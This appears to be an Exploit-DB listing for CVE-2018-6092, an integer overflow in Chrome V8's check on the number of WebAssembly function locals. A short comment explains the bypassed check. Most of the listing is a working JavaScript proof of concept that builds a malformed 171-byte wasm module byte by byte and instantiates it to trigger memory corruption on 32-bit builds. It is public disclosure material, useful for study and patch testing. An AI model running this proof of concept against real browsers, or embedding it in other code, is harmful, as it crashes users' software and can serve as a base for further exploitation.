Exploit Google Chrome - Integer Overflow when Processing WebAssembly Locals

[Exploiter]

EDB-ID

44860

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

cve-2018-6092

Дата публикации

2018-06-08

Google Chrome - Integer Overflow when Processing WebAssembly Locals

/*
When v8 decodes the locals of a function, it performs a check:

if ((count + type_list->size()) > kV8MaxWasmFunctionLocals) {
        decoder->error(decoder->pc() - 1, "local count too large");
        return false;
      }

On a 32-bit platform, this check can be bypassed due to an integer overflow. This allows the number of function locals to be large, and can lead to memory corruption when the locals are allocated.

A PoC is attached. 
*/

var b2 = new Uint8Array( 171);
b2[0] = 0x0;
b2[1] = 0x61;
b2[2] = 0x73;
b2[3] = 0x6d;
b2[4] = 0x1;
b2[5] = 0x0;
b2[6] = 0x0;
b2[7] = 0x0;
b2[8] = 0x1;
b2[9] = 0xe;
b2[10] = 0x3;
b2[11] = 0x60;
b2[12] = 0x1;
b2[13] = 0x7f;
b2[14] = 0x0;
b2[15] = 0x60;
b2[16] = 0x0;
b2[17] = 0x0;
b2[18] = 0x60;
b2[19] = 0x2;
b2[20] = 0x7f;
b2[21] = 0x7f;
b2[22] = 0x1;
b2[23] = 0x7f;
b2[24] = 0x2;
b2[25] = 0x23;
b2[26] = 0x2;
b2[27] = 0x2;
b2[28] = 0x6a;
b2[29] = 0x73;
b2[30] = 0x3;
b2[31] = 0x6d;
b2[32] = 0x65;
b2[33] = 0x6d;
b2[34] = 0x2;
b2[35] = 0x0;
b2[36] = 0x1;
b2[37] = 0x7;
b2[38] = 0x69;
b2[39] = 0x6d;
b2[40] = 0x70;
b2[41] = 0x6f;
b2[42] = 0x72;
b2[43] = 0x74;
b2[44] = 0x73;
b2[45] = 0xd;
b2[46] = 0x69;
b2[47] = 0x6d;
b2[48] = 0x70;
b2[49] = 0x6f;
b2[50] = 0x72;
b2[51] = 0x74;
b2[52] = 0x65;
b2[53] = 0x64;
b2[54] = 0x5f;
b2[55] = 0x66;
b2[56] = 0x75;
b2[57] = 0x6e;
b2[58] = 0x63;
b2[59] = 0x0;
b2[60] = 0x0;
b2[61] = 0x3;
b2[62] = 0x3;
b2[63] = 0x2;
b2[64] = 0x1;
b2[65] = 0x2;
b2[66] = 0x7;
b2[67] = 0x1e;
b2[68] = 0x2;
b2[69] = 0xd;
b2[70] = 0x65;
b2[71] = 0x78;
b2[72] = 0x70;
b2[73] = 0x6f;
b2[74] = 0x72;
b2[75] = 0x74;
b2[76] = 0x65;
b2[77] = 0x64;
b2[78] = 0x5f;
b2[79] = 0x66;
b2[80] = 0x75;
b2[81] = 0x6e;
b2[82] = 0x63;
b2[83] = 0x0;
b2[84] = 0x1;
b2[85] = 0xa;
b2[86] = 0x61;
b2[87] = 0x63;
b2[88] = 0x63;
b2[89] = 0x75;
b2[90] = 0x6d;
b2[91] = 0x75;
b2[92] = 0x6c;
b2[93] = 0x61;
b2[94] = 0x74;
b2[95] = 0x65;
b2[96] = 0x0;
b2[97] = 0x2;
b2[98] = 0xa;
b2[99] = 0x47;
b2[100] = 0x2;
b2[101] = 0x6;
b2[102] = 0x0;
b2[103] = 0x41;
b2[104] = 0x2a;
b2[105] = 0x10;
b2[106] = 0x0;
b2[107] = 0xb;
b2[108] = 0x3e;
b2[109] = 0x1;
b2[110] = 0xff;
b2[111] = 0xff;
b2[112] = 0xff;
b2[113] = 0xff;
b2[114] = 0x0f;
b2[115] = 0x7f;
b2[116] = 0x20;
b2[117] = 0x0;
b2[118] = 0x20;
b2[119] = 0x1;
b2[120] = 0x41;
b2[121] = 0x4;
b2[122] = 0x6c;
b2[123] = 0x6a;
b2[124] = 0x21;
b2[125] = 0x2;
b2[126] = 0x2;
b2[127] = 0x40;
b2[128] = 0x3;
b2[129] = 0x40;
b2[130] = 0x20;
b2[131] = 0x0;
b2[132] = 0x20;
b2[133] = 0x2;
b2[134] = 0x46;
b2[135] = 0xd;
b2[136] = 0x1;
b2[137] = 0x41;
b2[138] = 0x2a;
b2[139] = 0x10;
b2[140] = 0x0;
b2[141] = 0x20;
b2[142] = 0x3;
b2[143] = 0x41;
b2[144] = 0xc4;
b2[145] = 0x0;
b2[146] = 0x20;
b2[147] = 0x0;
b2[148] = 0x36;
b2[149] = 0x2;
b2[150] = 0x0;
b2[151] = 0x41;
b2[152] = 0xc4;
b2[153] = 0x0;
b2[154] = 0x6a;
b2[155] = 0x21;
b2[156] = 0x3;
b2[157] = 0x20;
b2[158] = 0x0;
b2[159] = 0x41;
b2[160] = 0x4;
b2[161] = 0x6a;
b2[162] = 0x21;
b2[163] = 0x0;
b2[164] = 0xc;
b2[165] = 0x0;
b2[166] = 0xb;
b2[167] = 0xb;
b2[168] = 0x20;
b2[169] = 0x3;
b2[170] = 0xb;

function f(){print("in f");}
var memory = new WebAssembly.Memory({initial:1, maximum:1});
var mod = new WebAssembly.Module(b2);
var i = new WebAssembly.Instance(mod, { imports : {imported_func : f}, js : {mem : memory}});
i.exports.accumulate.call(0, 5);